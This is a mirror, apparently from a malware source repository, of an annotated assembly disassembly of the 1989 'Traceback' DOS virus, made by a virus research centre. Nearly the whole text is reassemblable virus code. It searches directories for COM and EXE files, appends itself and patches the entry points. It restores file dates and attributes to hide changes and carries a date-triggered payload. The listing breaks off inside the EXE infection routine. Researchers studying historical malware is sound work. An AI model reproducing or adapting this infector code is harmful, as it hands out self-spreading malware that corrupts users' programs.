mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
1304 lines
39 KiB
NASM
1304 lines
39 KiB
NASM
|
page 65,132
|
|||
|
title The 'Traceback' Virus
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ
|
|||
|
; <20> British Computer Virus Research Centre <20>
|
|||
|
; <20> 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England <20>
|
|||
|
; <20> Telephone: Domestic 0273-26105, International +44-273-26105 <20>
|
|||
|
; <20> <20>
|
|||
|
; <20> The 'Traceback' Virus <20>
|
|||
|
; <20> Disassembled by Joe Hirst, June 1989 <20>
|
|||
|
; <20> <20>
|
|||
|
; <20> Copyright (c) Joe Hirst 1989. <20>
|
|||
|
; <20> <20>
|
|||
|
; <20> This listing is only to be made available to virus researchers <20>
|
|||
|
; <20> or software writers on a need-to-know basis. <20>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ
|
|||
|
|
|||
|
; The disassembly has been tested by re-assembly using MASM 5.0.
|
|||
|
|
|||
|
BOOT SEGMENT AT 0
|
|||
|
|
|||
|
ORG 24H
|
|||
|
BW0024 DW ? ; Int 9 offset
|
|||
|
BW0026 DW ? ; Int 9 segment
|
|||
|
|
|||
|
ORG 70H
|
|||
|
BW0070 DW ? ; Int 1CH offset
|
|||
|
BW0072 DW ? ; Int 1CH segment
|
|||
|
|
|||
|
ORG 80H
|
|||
|
BD0080 EQU THIS DWORD
|
|||
|
BW0080 DW ? ; Int 20H offset
|
|||
|
BW0082 DW ? ; Int 20H segment
|
|||
|
BW0084 DW ? ; Int 21H offset
|
|||
|
BW0086 DW ? ; Int 21H segment
|
|||
|
|
|||
|
ORG 90H
|
|||
|
BW0090 DW ? ; Int 24H offset
|
|||
|
BW0092 DW ? ; Int 24H segment
|
|||
|
|
|||
|
ORG 9CH
|
|||
|
BD009C EQU THIS DWORD
|
|||
|
BW009C DW ? ; Int 27H offset
|
|||
|
BW009E DW ? ; Int 27H segment
|
|||
|
|
|||
|
ORG 449H
|
|||
|
BB0449 DB ? ; Current VDU mode
|
|||
|
|
|||
|
BOOT ENDS
|
|||
|
|
|||
|
CODE SEGMENT BYTE PUBLIC 'CODE'
|
|||
|
ASSUME CS:CODE,DS:CODE
|
|||
|
|
|||
|
DW0000 DW 02EEBH ; \ Stored start of host program
|
|||
|
DB0002 DB 090H ; /
|
|||
|
DB0003 DB 0FFH
|
|||
|
DB0004 DB 0FBH ; Infection countdown
|
|||
|
DD0005 EQU THIS DWORD
|
|||
|
DW0005 DW 100H
|
|||
|
DW0007 DW 0CBBH
|
|||
|
DW0009 DW 4DH
|
|||
|
DB000B DB 0, 0
|
|||
|
DB000D DB 0EBH, 2EH, 90H, 0FFH, 0FFH, 6CH, 6CH
|
|||
|
DB0014 DB 'o - Copyright S & S E', 29 DUP (0)
|
|||
|
CURDIR DB 0, 'PLIC', 60 DUP (0) ; Current directory
|
|||
|
DTAFLE DB 3, '????????COM ', 2, 0, 0, 0, 'c:\m '
|
|||
|
DB 1AH, 0, 0AFH, 0AH, 95H, 58H, 0, 0
|
|||
|
DB 'COMMAND.COM', 3 DUP (0)
|
|||
|
DTADIR DB 1, '???????????', 10H, 5, 7 DUP (0)
|
|||
|
DB 20H, 0E9H, 11H, 0B5H, 12H, 0F6H, 48H, 2, 0
|
|||
|
DB 'CAT-TWO.ARC', 0, 0, 0
|
|||
|
DB00DF DB 0
|
|||
|
SEGREG DW 0AEBH
|
|||
|
PTHDSK DB 2 ; Pathname drive
|
|||
|
CURDSK DB 2 ; Current disk
|
|||
|
ATTR_F DW 0020H ; File attributes
|
|||
|
TIME_F DW 22B6H ; File time
|
|||
|
DATE_F DW 1174H ; File date
|
|||
|
I24_OF DW 04EBH ; Old Int 24H offset
|
|||
|
I24_SG DW 0A17H ; Old Int 24H segment
|
|||
|
CRTERR DB 0 ; Critical error flag
|
|||
|
F_HAND DW 0 ; File handle
|
|||
|
F_TIME DW 5951H ; File time
|
|||
|
F_DATE DW 0F8BH ; File date
|
|||
|
F_ATTR DW 0020H ; File attributes
|
|||
|
V_SIGN DB 056H, 047H, 031H ; Virus signature
|
|||
|
|
|||
|
; Entry point
|
|||
|
|
|||
|
BP0010: JMP SHORT BP0020
|
|||
|
|
|||
|
DW SIGNAT
|
|||
|
|
|||
|
BP0020: CALL BP0640 ; Get relocation constant in SI
|
|||
|
CALL BP0600 ; Set Int 24H vector
|
|||
|
MOV AH,19H ; Get current disk function
|
|||
|
INT 21H ; DOS service
|
|||
|
MOV PTH_OF[SI],SI ; \ Address of pathname
|
|||
|
ADD PTH_OF[SI],OFFSET DB0884 ; /
|
|||
|
MOV PTH_SG[SI],CS ; Segment of pathname
|
|||
|
MOV CURDSK[SI],AL ; Save current disk
|
|||
|
CALL BP0510 ; Get installed virus segment
|
|||
|
MOV DL,PTHDSK[DI] ; Get pathname drive in installed virus
|
|||
|
MOV AX,DS ; Get segment in installed virus
|
|||
|
PUSH CS ; \ Set DS to CS
|
|||
|
POP DS ; /
|
|||
|
JNZ BP0030 ; Branch if not installed
|
|||
|
MOV PTH_OF[SI],OFFSET DB0884+100H ; Pathname in installed virus
|
|||
|
MOV PTH_SG[SI],AX ; Segment in installed virus
|
|||
|
CMP DL,0FFH ; Is there a pathname drive?
|
|||
|
JE BP0030 ; Branch if not
|
|||
|
MOV AH,0EH ; Select disk function
|
|||
|
INT 21H ; DOS service
|
|||
|
BP0030: MOV BYTE PTR SWTCHB[SI],80H ; Set on switch eight
|
|||
|
MOV F_HAND[SI],0 ; Clear file handle
|
|||
|
MOV AH,2AH ; Get date function
|
|||
|
INT 21H ; DOS service
|
|||
|
CMP CX,07C4H ; Is year 1988?
|
|||
|
JGE BP0040 ; Branch if not before
|
|||
|
JMP SHORT BP0070
|
|||
|
|
|||
|
PTH_OF DW 0F8CH ; Offset of pathname
|
|||
|
PTH_SG DW 0AEBH ; Segment of pathname
|
|||
|
ISWTCH DB 0 ; Infected file switch
|
|||
|
|
|||
|
; 1988 or later
|
|||
|
|
|||
|
BP0040: JG BP0050 ; Branch if after 1988
|
|||
|
CMP DH,0CH ; Is month December?
|
|||
|
JL BP0070 ; Branch if not
|
|||
|
CMP DL,5 ; 5th of December?
|
|||
|
JL BP0070 ; Branch if before
|
|||
|
CMP DL,1CH ; 28th of December?
|
|||
|
JL BP0060 ; Branch if before
|
|||
|
BP0050: MOV DSPCNT[SI],0FFDCH ; Start display count (60 mins)
|
|||
|
MOV BYTE PTR SWTCHB[SI],88H ; Switches four & eight
|
|||
|
BP0060: CMP DB0004[SI],0F8H ; Has infection count reached target?
|
|||
|
JNB BP0080 ; Branch if not
|
|||
|
ASSUME DS:NOTHING
|
|||
|
BP0070: MOV CRTERR[SI],0 ; Clear critical error flag
|
|||
|
JMP BP0270
|
|||
|
|
|||
|
; Unreachable code
|
|||
|
|
|||
|
ASSUME DS:CODE
|
|||
|
CMP DB0004[SI],0F8H ; Has infection count reached target?
|
|||
|
JNB BP0080 ; Branch if not
|
|||
|
OR BYTE PTR SWTCHB[SI],4 ; Set on switch three
|
|||
|
|
|||
|
BP0080: MOV DB00DF[SI],0 ; Set not-first-time switch off
|
|||
|
MOV DX,PTH_OF[SI] ; Get pathname offset
|
|||
|
MOV DS,PTH_SG[SI] ; Get pathname segment
|
|||
|
MOV AX,4300H ; Get attributes function
|
|||
|
CALL BP0230 ; Perform a DOS service
|
|||
|
JB BP0090 ; Branch if error
|
|||
|
ASSUME DS:NOTHING
|
|||
|
MOV F_ATTR[SI],CX ; Save file attributes
|
|||
|
AND CL,0FEH ; Switch off read-only
|
|||
|
MOV AX,4301H ; Set attributes function
|
|||
|
CALL BP0230 ; Perform a DOS service
|
|||
|
JB BP0090 ; Branch if error
|
|||
|
MOV AX,3D02H ; Open handle R/W function
|
|||
|
INT 21H ; DOS service
|
|||
|
JB BP0090 ; Branch if error
|
|||
|
PUSH CS ; \ Set DS to CS
|
|||
|
POP DS ; /
|
|||
|
ASSUME DS:CODE
|
|||
|
MOV F_HAND[SI],AX ; Save file handle
|
|||
|
MOV BX,AX ; Move file handle
|
|||
|
MOV AX,5700H ; Get file date and time function
|
|||
|
INT 21H ; DOS service
|
|||
|
MOV F_TIME[SI],CX ; Save file time
|
|||
|
MOV F_DATE[SI],DX ; Save file date
|
|||
|
DEC DB0004[SI] ; Decrement infection count
|
|||
|
MOV DX,FLENLO[SI] ; Get file length, low word
|
|||
|
MOV CX,FLENHI[SI] ; Get file length, high word
|
|||
|
ADD DX,OFFSET DB0004 ; \ Add to length
|
|||
|
ADC CX,0 ; /
|
|||
|
MOV AX,4200H ; Move file pointer (start) function
|
|||
|
INT 21H ; DOS service
|
|||
|
BP0090: PUSH CS ; \ Set DS to CS
|
|||
|
POP DS ; /
|
|||
|
TEST BYTE PTR SWTCHB[SI],4 ; Test switch three
|
|||
|
JZ BP0100 ; Branch if off
|
|||
|
CALL BP0330 ; Write infection count
|
|||
|
JMP BP0270
|
|||
|
|
|||
|
; Change directory to root
|
|||
|
|
|||
|
BP0100: XOR DL,DL ; Default drive
|
|||
|
MOV AH,47H ; Get current directory function
|
|||
|
PUSH SI
|
|||
|
ADD SI,46H ; Address directory store
|
|||
|
INT 21H ; DOS service
|
|||
|
POP SI
|
|||
|
CMP CRTERR[SI],0 ; Test critical error flag
|
|||
|
JNE BP0110 ; Branch if set
|
|||
|
CALL BP0250 ; Make root dir current dir
|
|||
|
JNB BP0120 ; Branch if no error
|
|||
|
BP0110: JMP BP0070
|
|||
|
|
|||
|
; Find COM files
|
|||
|
|
|||
|
BP0120: MOV DX,SI ; \ Address DTA area
|
|||
|
ADD DX,OFFSET DTAFLE ; /
|
|||
|
MOV AH,1AH ; Set DTA function
|
|||
|
INT 21H ; DOS service
|
|||
|
MOV [SI+5],'.*' ; \
|
|||
|
MOV [SI+7],'OC' ; ) '*.COM'
|
|||
|
MOV WORD PTR [SI+9],'M' ; /
|
|||
|
MOV AH,4EH ; Find first file function
|
|||
|
MOV DX,SI ; \ Address file spec
|
|||
|
ADD DX,5 ; /
|
|||
|
BP0130: MOV CX,0020H ; Attributes - archive
|
|||
|
CALL BP0230 ; Perform a DOS service
|
|||
|
JB BP0160 ; Move on to EXE files
|
|||
|
MOV DX,SI ; \ Address filename in DTA
|
|||
|
ADD DX,OFFSET DTAFLE+1EH ; /
|
|||
|
MOV ISWTCH[SI],0 ; Set infected file switch off
|
|||
|
CALL BP0350 ; Process file
|
|||
|
JB BP0150 ; Error or infected file found
|
|||
|
CALL BP0330 ; Write infection count
|
|||
|
BP0140: JMP BP0260
|
|||
|
|
|||
|
BP0150: CMP CRTERR[SI],0 ; Test critical error flag
|
|||
|
JNE BP0140 ; Branch if set
|
|||
|
CMP ISWTCH[SI],0 ; Test infected file switch
|
|||
|
JNE BP0200 ; Branch if on
|
|||
|
MOV AH,4FH ; Find next file function
|
|||
|
JMP BP0130
|
|||
|
|
|||
|
; Find EXE files
|
|||
|
|
|||
|
BP0160: MOV [SI+7],'XE' ; \ '*.EXE'
|
|||
|
MOV WORD PTR [SI+9],'E' ; /
|
|||
|
MOV AH,4EH ; Find first file function
|
|||
|
MOV DX,SI ; \ Address file spec
|
|||
|
ADD DX,5 ; /
|
|||
|
BP0170: MOV CX,0020H ; Attributes - archive
|
|||
|
CALL BP0230 ; Perform a DOS service
|
|||
|
JB BP0200 ; No more files
|
|||
|
MOV DX,SI ; \ Address filename in DTA
|
|||
|
ADD DX,OFFSET DTAFLE+1EH ; /
|
|||
|
MOV ISWTCH[SI],0 ; Set infected file switch off
|
|||
|
CALL BP0350 ; Process file
|
|||
|
JB BP0190 ; Error or infected file found
|
|||
|
CALL BP0330 ; Write infection count
|
|||
|
BP0180: JMP BP0260
|
|||
|
|
|||
|
ASSUME DS:NOTHING
|
|||
|
BP0190: CMP CRTERR[SI],0 ; Test critical error flag
|
|||
|
JNE BP0180 ; Branch if set
|
|||
|
ASSUME DS:CODE
|
|||
|
CMP ISWTCH[SI],0 ; Test infected file switch
|
|||
|
JNE BP0200 ; Branch if on
|
|||
|
MOV AH,4FH ; Find next file function
|
|||
|
JMP BP0170
|
|||
|
|
|||
|
BP0200: CALL BP0250 ; Make root dir current dir
|
|||
|
MOV DX,SI ; \ Address 2nd DTA
|
|||
|
ADD DX,OFFSET DTADIR ; /
|
|||
|
MOV AH,1AH ; Set DTA function
|
|||
|
INT 21H ; DOS service
|
|||
|
BP0210: MOV AH,4FH ; Find next file function
|
|||
|
MOV CX,0010H ; Find directories
|
|||
|
CMP DB00DF[SI],0 ; First time?
|
|||
|
JNE BP0220 ; Branch if not
|
|||
|
MOV DB00DF[SI],1 ; Set not-first-time switch
|
|||
|
MOV [SI+5],'.*' ; \ '*.*'
|
|||
|
MOV WORD PTR [SI+7],'*' ; /
|
|||
|
MOV AH,4EH ; Find first file function
|
|||
|
MOV DX,SI ; \ Address file spec
|
|||
|
ADD DX,5 ; /
|
|||
|
BP0220: CALL BP0230 ; Perform a DOS service
|
|||
|
JB BP0260 ; No more files
|
|||
|
TEST DTADIR[SI+15H],10H ; Is it a directory?
|
|||
|
JZ BP0210 ; Branch if not
|
|||
|
MOV DX,SI ; \ Address file name in DTA
|
|||
|
ADD DX,OFFSET DTADIR+1EH ; /
|
|||
|
MOV AH,3BH ; Change current directory function
|
|||
|
CALL BP0230 ; Perform a DOS service
|
|||
|
JB BP0260 ; Branch if error
|
|||
|
JMP BP0120 ; Look for COM files
|
|||
|
|
|||
|
; Perform a DOS service
|
|||
|
|
|||
|
BP0230: INT 21H ; DOS service
|
|||
|
JB BP0240 ; Branch if error
|
|||
|
ASSUME DS:NOTHING
|
|||
|
TEST CRTERR[SI],0FFH ; Test critical error flag
|
|||
|
JZ BP0240 ; Branch if not set
|
|||
|
STC
|
|||
|
BP0240: RET
|
|||
|
|
|||
|
; Make root dir current dir
|
|||
|
|
|||
|
BP0250: MOV WORD PTR [SI+5],'\' ; Root dir
|
|||
|
MOV DX,SI ; \ Address root dir pathname
|
|||
|
ADD DX,5 ; /
|
|||
|
MOV AH,3BH ; Change current directory function
|
|||
|
CALL BP0230 ; Perform a DOS service
|
|||
|
RET
|
|||
|
|
|||
|
ASSUME DS:CODE
|
|||
|
BP0260: CALL BP0250 ; Make root dir current dir
|
|||
|
MOV DX,SI ; \ Address
|
|||
|
ADD DX,46H ; /
|
|||
|
MOV AH,3BH ; Change current directory function
|
|||
|
INT 21H ; DOS service
|
|||
|
BP0270: MOV BX,F_HAND[SI] ; Get file handle
|
|||
|
OR BX,BX ; Test for a handle
|
|||
|
JZ BP0290 ; Branch if none
|
|||
|
MOV CX,F_ATTR[SI] ; Get file attributes
|
|||
|
MOV DX,PTH_OF[SI] ; Get pathname offset
|
|||
|
MOV DS,PTH_SG[SI] ; Get pathname segment
|
|||
|
CMP CX,20H ; Are attributes archive?
|
|||
|
JE BP0280 ; Branch if yes
|
|||
|
MOV AX,4301H ; Set attributes function
|
|||
|
INT 21H ; DOS service
|
|||
|
BP0280: PUSH CS ; \ Set DS to CS
|
|||
|
POP DS ; /
|
|||
|
MOV CX,F_TIME[SI] ; Get file time
|
|||
|
MOV DX,F_DATE[SI] ; Get file date
|
|||
|
MOV AX,5701H ; Set file date and time function
|
|||
|
INT 21H ; DOS service
|
|||
|
MOV AH,3EH ; Close handle function
|
|||
|
INT 21H ; DOS service
|
|||
|
BP0290: MOV DL,CURDSK[SI] ; Get current disk
|
|||
|
MOV AH,0EH ; Select disk function
|
|||
|
INT 21H ; DOS service
|
|||
|
CALL BP0610 ; Restore Int 24H vector
|
|||
|
POP AX ; ?
|
|||
|
MOV SEGREG[SI],AX ; Save segment
|
|||
|
CMP BYTE PTR [SI+3],0FFH ; Should virus be installed?
|
|||
|
JE BP0300 ; Branch if yes
|
|||
|
ADD AX,0010H ; Add PSP length to segment
|
|||
|
ADD WORD PTR [SI+2],AX ; Store segment
|
|||
|
POP AX ; ?
|
|||
|
POP DS ; ?
|
|||
|
JMP DWORD PTR CS:[SI] ; Branch to ?
|
|||
|
|
|||
|
; Install resident copy of virus
|
|||
|
|
|||
|
BP0300: CALL BP0510 ; Get installed virus segment
|
|||
|
PUSH CS ; \ Set DS to CS
|
|||
|
POP DS ; /
|
|||
|
MOV AX,[SI] ; \ Replace first word of host
|
|||
|
MOV DW0000+100H,AX ; /
|
|||
|
MOV AL,[SI+2] ; \ Replace third byte of host
|
|||
|
MOV DB0002+100H,AL ; /
|
|||
|
JZ BP0310 ; Branch if installed
|
|||
|
MOV BX,DS ; Get current segment
|
|||
|
ADD BX,01D0H ; Add length of installed segment
|
|||
|
MOV ES,BX ; Segment to copy to
|
|||
|
MOV DI,SI ; Start of virus
|
|||
|
MOV DX,SI ; Copy relocation factor
|
|||
|
MOV CX,OFFSET ENDADR ; Length of virus
|
|||
|
CALL BP1160 ; Copy virus and transfer control
|
|||
|
MOV CX,DX ; Relocation factor (as length)
|
|||
|
MOV SI,DX ; Relocation factor as source
|
|||
|
DEC SI ; Back one byte
|
|||
|
MOV DI,SI ; Same offset as target
|
|||
|
STD ; Going backwards
|
|||
|
REPZ MOVSB ; Copy host program
|
|||
|
PUSH DS ; \ Set ES to DS
|
|||
|
POP ES ; /
|
|||
|
MOV DI,0100H ; Target following PSP
|
|||
|
MOV DS,BX ; Current segment as source
|
|||
|
MOV SI,DX ; Start of virus
|
|||
|
MOV CX,OFFSET ENDADR ; Length of virus
|
|||
|
CALL BP1160 ; Copy virus and transfer control
|
|||
|
MOV SI,0100H ; New relocation factor
|
|||
|
PUSH CS ; \ Set DS to CS
|
|||
|
POP DS ; /
|
|||
|
CALL BP0580 ; Install interrupts
|
|||
|
MOV DX,01D0H ; Get length of installed segment
|
|||
|
BP0310: MOV DI,CS ; \ New segment for host
|
|||
|
ADD DI,DX ; /
|
|||
|
MOV WORD PTR [SI+5],0100H ; Host offset
|
|||
|
MOV [SI+7],DI ; Host segment
|
|||
|
POP AX ; ?
|
|||
|
POP DS ; ?
|
|||
|
MOV DS,DI ; \
|
|||
|
MOV ES,DI ; ) Set up other segment registers
|
|||
|
MOV SS,DI ; /
|
|||
|
XOR BX,BX ; Clear register
|
|||
|
XOR CX,CX ; Clear register
|
|||
|
XOR BP,BP ; Clear register
|
|||
|
JMP DWORD PTR CS:[SI+5] ; Branch to host program
|
|||
|
|
|||
|
; Clear error flag and return
|
|||
|
|
|||
|
ASSUME DS:NOTHING
|
|||
|
BP0320: MOV CRTERR[SI],0 ; Clear critical error flag
|
|||
|
RET
|
|||
|
|
|||
|
; Write infection count
|
|||
|
|
|||
|
ASSUME DS:CODE
|
|||
|
BP0330: MOV BX,F_HAND[SI] ; Get file handle
|
|||
|
OR BX,BX ; Test for a handle
|
|||
|
JZ BP0340 ; Branch if none
|
|||
|
MOV DX,SI ; \ Address infection count
|
|||
|
ADD DX,OFFSET DB0004 ; /
|
|||
|
MOV CX,1 ; Length to write
|
|||
|
MOV AH,40H ; Write handle function
|
|||
|
INT 21H ; DOS service
|
|||
|
BP0340: RET
|
|||
|
|
|||
|
; Process file
|
|||
|
|
|||
|
BP0350: PUSH DX
|
|||
|
MOV AH,19H ; Get current disk function
|
|||
|
INT 21H ; DOS service
|
|||
|
ADD AL,'A' ; Convert to letter
|
|||
|
MOV AH,':' ; Disk separator
|
|||
|
MOV WORD PTR DB0884[SI],AX ; Disk in pathname
|
|||
|
MOV BYTE PTR DB0884[SI+2],'\' ; Root directory in pathname
|
|||
|
PUSH SI
|
|||
|
ADD SI,OFFSET DB0884+3 ; Address next position in pathname
|
|||
|
MOV AH,47H ; Get current directory function
|
|||
|
MOV DI,SI ; Buffer area
|
|||
|
XOR DL,DL ; Default drive
|
|||
|
INT 21H ; DOS service
|
|||
|
POP SI
|
|||
|
DEC DI ; Back one character
|
|||
|
BP0360: INC DI ; Next character
|
|||
|
MOV AL,[DI] ; Get character
|
|||
|
OR AL,AL ; Is it zero
|
|||
|
JNZ BP0360 ; Branch if not
|
|||
|
POP BX
|
|||
|
MOV BYTE PTR [DI],'\' ; Store directory separator
|
|||
|
INC DI ; Next position
|
|||
|
MOV DX,BX ; Copy filename pointer
|
|||
|
BP0370: MOV AL,[BX] ; Get character
|
|||
|
MOV [DI],AL ; Store in pathname
|
|||
|
INC BX ; Next input position
|
|||
|
INC DI ; Next output position
|
|||
|
OR AL,AL ; End of filename?
|
|||
|
JNZ BP0370 ; Next character if not
|
|||
|
BP0380: MOV AX,4300H ; Get attributes function
|
|||
|
CALL BP0230 ; Perform a DOS service
|
|||
|
JB BP0320 ; Branch if error
|
|||
|
ASSUME DS:NOTHING
|
|||
|
MOV ATTR_F[SI],CX ; Save attributes
|
|||
|
AND CX,00FEH ; Set off read only
|
|||
|
MOV AX,4301H ; Set attributes function
|
|||
|
CALL BP0230 ; Perform a DOS service
|
|||
|
JB BP0320 ; Branch if error
|
|||
|
MOV AX,3D02H ; Open handle R/W function
|
|||
|
CALL BP0230 ; Perform a DOS service
|
|||
|
JB BP0320 ; Branch if error
|
|||
|
MOV BX,AX ; Move handle
|
|||
|
PUSH DS
|
|||
|
PUSH DX
|
|||
|
CALL BP0400 ; Infect file if not infected
|
|||
|
POP DX
|
|||
|
POP DS
|
|||
|
PUSHF
|
|||
|
MOV CX,ATTR_F[SI] ; Get attributes
|
|||
|
CMP CX,20H ; Archive only?
|
|||
|
JE BP0390 ; Branch if yes
|
|||
|
MOV AX,4301H ; Set attributes function
|
|||
|
INT 21H ; DOS service
|
|||
|
BP0390: MOV CX,TIME_F[SI] ; Get file time
|
|||
|
MOV DX,DATE_F[SI] ; Get file date
|
|||
|
MOV AX,5701H ; Set file date and time function
|
|||
|
INT 21H ; DOS service
|
|||
|
MOV AH,3EH ; Close handle function
|
|||
|
INT 21H ; DOS service
|
|||
|
POPF
|
|||
|
RET
|
|||
|
|
|||
|
; Infect file if not infected
|
|||
|
|
|||
|
BP0400: MOV AX,5700H ; Get file date and time function
|
|||
|
INT 21H ; DOS service
|
|||
|
PUSH CS ; \ Set DS to CS
|
|||
|
POP DS ; /
|
|||
|
ASSUME DS:CODE
|
|||
|
MOV TIME_F[SI],CX ; Save file time
|
|||
|
MOV DATE_F[SI],DX ; Save file date
|
|||
|
MOV DX,SI ; \ Address buffer
|
|||
|
ADD DX,0DH ; /
|
|||
|
MOV DI,DX ; Copy this address
|
|||
|
MOV AH,3FH ; Read handle function
|
|||
|
MOV CX,001CH ; EXE header length
|
|||
|
INT 21H ; DOS service
|
|||
|
CMP WORD PTR [DI],'ZM' ; EXE header?
|
|||
|
JE BP0430 ; Branch if yes
|
|||
|
CALL BP0500 ; Move pointer to end of file
|
|||
|
ADD AX,OFFSET SIGNAT+100H ; Add length of virus
|
|||
|
JB BP0410 ; Branch if too big for a COM
|
|||
|
CMP BYTE PTR [DI],0E9H ; Does it start with a near jump?
|
|||
|
JNE BP0420 ; Branch if not
|
|||
|
MOV DX,[DI+1] ; Get displacement from jump
|
|||
|
XOR CX,CX ; Clear top
|
|||
|
MOV AX,4200H ; Move file pointer (start) function
|
|||
|
INT 21H ; DOS service
|
|||
|
MOV DX,DI ; Read buffer
|
|||
|
ADD DX,001CH ; Add length of EXE header
|
|||
|
MOV AH,3FH ; Read handle function
|
|||
|
MOV CX,3 ; Length to read
|
|||
|
INT 21H ; DOS service
|
|||
|
CALL BP0440 ; Test virus signature on file
|
|||
|
JNB BP0420 ; Branch if not present
|
|||
|
ASSUME DS:NOTHING
|
|||
|
MOV ISWTCH[SI],1 ; Set infected file switch on
|
|||
|
BP0410: RET
|
|||
|
|
|||
|
ASSUME DS:CODE
|
|||
|
BP0420: CALL BP0500 ; Move pointer to end of file
|
|||
|
MOV FLENLO[SI],AX ; Save file length, low word
|
|||
|
MOV FLENHI[SI],DX ; Save file length, high word
|
|||
|
PUSH AX
|
|||
|
MOV WORD PTR [DI+3],0FFFFH ; Initialise count
|
|||
|
MOV CX,5 ; Length to write
|
|||
|
MOV AH,40H ; Write handle function
|
|||
|
MOV DX,DI ; Address start of buffer
|
|||
|
INT 21H ; DOS service
|
|||
|
MOV DX,SI ; \ Address start of virus
|
|||
|
ADD DX,5 ; /
|
|||
|
MOV CX,OFFSET SIGNAT ; Length of virus
|
|||
|
MOV AH,40H ; Write handle function
|
|||
|
INT 21H ; DOS service
|
|||
|
MOV AX,4200H ; Move file pointer (start) function
|
|||
|
XOR CX,CX ; \ No displacement
|
|||
|
XOR DX,DX ; /
|
|||
|
INT 21H ; DOS service
|
|||
|
MOV BYTE PTR [DI],0E9H ; Near jump instruction
|
|||
|
POP AX ; Recover length of file
|
|||
|
ADD AX,OFFSET BP0010-3 ; Jump offset to entry point
|
|||
|
MOV [DI+1],AX ; Store in jump instruction
|
|||
|
MOV DX,DI ; Address of jump instruction
|
|||
|
MOV CX,3 ; Length to write
|
|||
|
MOV AH,40H ; Write handle function
|
|||
|
INT 21H ; DOS service
|
|||
|
CLC
|
|||
|
RET
|
|||
|
|
|||
|
; EXE file
|
|||
|
|
|||
|
BP0430: CMP WORD PTR [DI+0CH],0FFFFH ; Is max alloc asking for maximum?
|
|||
|
JNE BP0450 ; Branch if not
|
|||
|
PUSH SI
|
|||
|
MOV SI,[DI+14H] ; Get initial offset
|
|||
|
MOV CX,[DI+16H] ; Get initial segment
|
|||
|
MOV AX,CX ; Copy segment
|
|||
|
MOV CL,CH ; Move top byte down
|
|||
|
XOR CH,CH ; Clear top
|
|||
|
SHR CX,1 ; \
|
|||
|
SHR CX,1 ; \ Move top nibble into position
|
|||
|
SHR CX,1 ; /
|
|||
|
SHR CX,1 ; /
|
|||
|
SHL AX,1 ; \
|
|||
|
SHL AX,1 ; \ Move rest of segment
|
|||
|
SHL AX,1 ; /
|
|||
|
SHL AX,1 ; /
|
|||
|
ADD SI,AX ; \ Add to offset
|
|||
|
ADC CX,0 ; /
|
|||
|
SUB SI,3 ; \ Subtract length of signature
|
|||
|
SBB CX,0 ; /
|
|||
|
MOV AX,[DI+8] ; Get size of header
|
|||
|
CALL BP0490 ; Move segment to two-register offset
|
|||
|
ADD SI,AX ; \ Add to starting position
|
|||
|
ADC CX,DX ; /
|
|||
|
MOV DX,SI ; Move low word
|
|||
|
POP SI
|
|||
|
MOV AX,4200H ; Move file pointer (start) function
|
|||
|
INT 21H ; DOS service
|
|||
|
MOV DX,DI ; Address buffer
|
|||
|
ADD DX,001CH ; Add length of EXE header
|
|||
|
MOV AH,3FH ; Read handle function
|
|||
|
MOV CX,3 ; Length to read
|
|||
|
INT 21H ; DOS service
|
|||
|
CALL BP0440 ; Test virus signature on file
|
|||
|
JNB BP0480 ; Branch if not present
|
|||
|
ASSUME DS:NOTHING
|
|||
|
MOV ISWTCH[SI],1 ; Set infected file switch on
|
|||
|
RET
|
|||
|
|
|||
|
; Test virus signature on file
|
|||
|
|
|||
|
BP0440: CMP WORD PTR [DI+1CH],4756H ; Look for virus signature
|
|||
|
JNE BP0470 ; Branch if not found
|
|||
|
CMP BYTE PTR [DI+1EH],31H ; Look for rest of signature
|
|||
|
JNE BP0470 ; Branch if not found
|
|||
|
BP0450: STC
|
|||
|
BP0460: RET
|
|||
|
|
|||
|
BP0470: CLC
|
|||
|
RET
|
|||
|
|
|||
|
; Infect EXE file
|
|||
|
|
|||
|
ASSUME DS:CODE
|
|||
|
BP0480: CALL BP0500 ; Move pointer to end of file
|
|||
|
MOV FLENLO[SI],AX ; Save file length, low word
|
|||
|
MOV FLENHI[SI],DX ; Save file length, high word
|
|||
|
MOV CX,[DI+4] ; Get size of file in pages
|
|||
|
SHL CX,1 ; Multiply by two
|
|||
|
XCHG CH,CL ; Reverse bytes
|
|||
|
MOV BP,CX ; Copy
|
|||
|
AND BP,0FF00H ; Convert to bytes (low word)
|
|||
|
XOR CH,CH ; Convert to bytes (high word)
